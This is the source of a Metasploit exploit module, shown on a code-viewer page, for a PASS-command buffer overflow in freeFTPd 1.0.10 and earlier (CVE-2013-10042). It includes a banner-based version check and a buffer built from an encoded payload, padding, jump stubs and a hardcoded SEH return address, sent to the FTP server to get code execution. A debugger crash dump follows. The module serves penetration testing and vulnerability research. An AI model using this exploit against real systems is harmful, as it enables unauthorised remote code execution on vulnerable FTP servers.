Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/freeftpd_pass.rb
32605 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => "freeFTPd PASS Command Buffer Overflow",
16
'Description' => %q{
17
freeFTPd 1.0.10 and below contains an overflow condition that is triggered as
18
user-supplied input is not properly validated when handling a specially crafted
19
PASS command. This may allow a remote attacker to cause a buffer overflow,
20
resulting in a denial of service or allow the execution of arbitrary code.
21
22
freeFTPd must have an account set to authorization anonymous user account.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'Wireghoul', # Initial discovery, PoC
27
'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
28
],
29
'References' => [
30
['CVE', '2013-10042'],
31
['OSVDB', '96517'],
32
['EDB', '27747'],
33
['BID', '61905']
34
],
35
'Payload' => {
36
'BadChars' => "\x00\x0a\x0d",
37
},
38
'Platform' => 'win',
39
'Arch' => ARCH_X86,
40
'Targets' => [
41
[
42
'freeFTPd 1.0.10 and below on Windows Desktop Version',
43
{
44
'Ret' => 0x004014bb, # pop edi # pop esi # ret 0x04 [FreeFTPDService.exe]
45
'Offset' => 801,
46
}
47
],
48
],
49
'Privileged' => false,
50
'DisclosureDate' => '2013-08-20',
51
'DefaultTarget' => 0,
52
'Notes' => {
53
'Reliability' => UNKNOWN_RELIABILITY,
54
'Stability' => UNKNOWN_STABILITY,
55
'SideEffects' => UNKNOWN_SIDE_EFFECTS
56
}
57
)
58
)
59
60
register_options([
61
OptString.new('FTPUSER', [ true, 'The username to authenticate with', 'anonymous' ], fallbacks: ['USERNAME']),
62
63
])
64
65
# We're triggering the bug via the PASS command, no point to have pass as configurable
66
# option.
67
deregister_options('FTPPASS')
68
end
69
70
def check
71
connect
72
disconnect
73
74
# All versions including and above version 1.0 report "220 Hello, I'm freeFTPd 1.0"
75
# when banner grabbing.
76
if banner =~ /freeFTPd 1\.0/
77
return Exploit::CheckCode::Appears
78
else
79
return Exploit::CheckCode::Safe
80
81
end
82
end
83
84
def exploit
85
connect
86
print_status("Trying target #{target.name} with user #{user()}...")
87
88
off = target['Offset'] - 9
89
90
bof = payload.encoded
91
bof << rand_text(off - payload.encoded.length)
92
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string
93
bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string
94
bof << rand_text(2)
95
bof << [target.ret].pack('V')
96
97
send_user(datastore['FTPUSER'])
98
raw_send("PASS #{bof}\r\n")
99
disconnect
100
end
101
end
102
103
=begin
104
(c78.ea4): Access violation - code c0000005 (first chance)
105
First chance exceptions are reported before any exception handling.
106
This exception may be expected and handled.
107
eax=0012b324 ebx=01805f28 ecx=00000019 edx=00000057 esi=4141413d edi=00181e18
108
eip=76c23e8d esp=0012b310 ebp=0012b328 iopl=0 nv up ei pl nz na pe nc
109
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
110
OLEAUT32!SysFreeString+0x55:
111
76c23e8d ff36 push dword ptr [esi] ds:0023:4141413d=????????
112
113
FAULTING_IP:
114
OLEAUT32!SysFreeString+55
115
76c23e8d ff36 push dword ptr [esi]
116
117
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
118
ExceptionAddress: 76c23e8d (OLEAUT32!SysFreeString+0x00000055)
119
ExceptionCode: c0000005 (Access violation)
120
ExceptionFlags: 00000000
121
NumberParameters: 2
122
Parameter[0]: 00000000
123
Parameter[1]: 4141413d
124
Attempt to read from address 4141413d
125
=end
126
127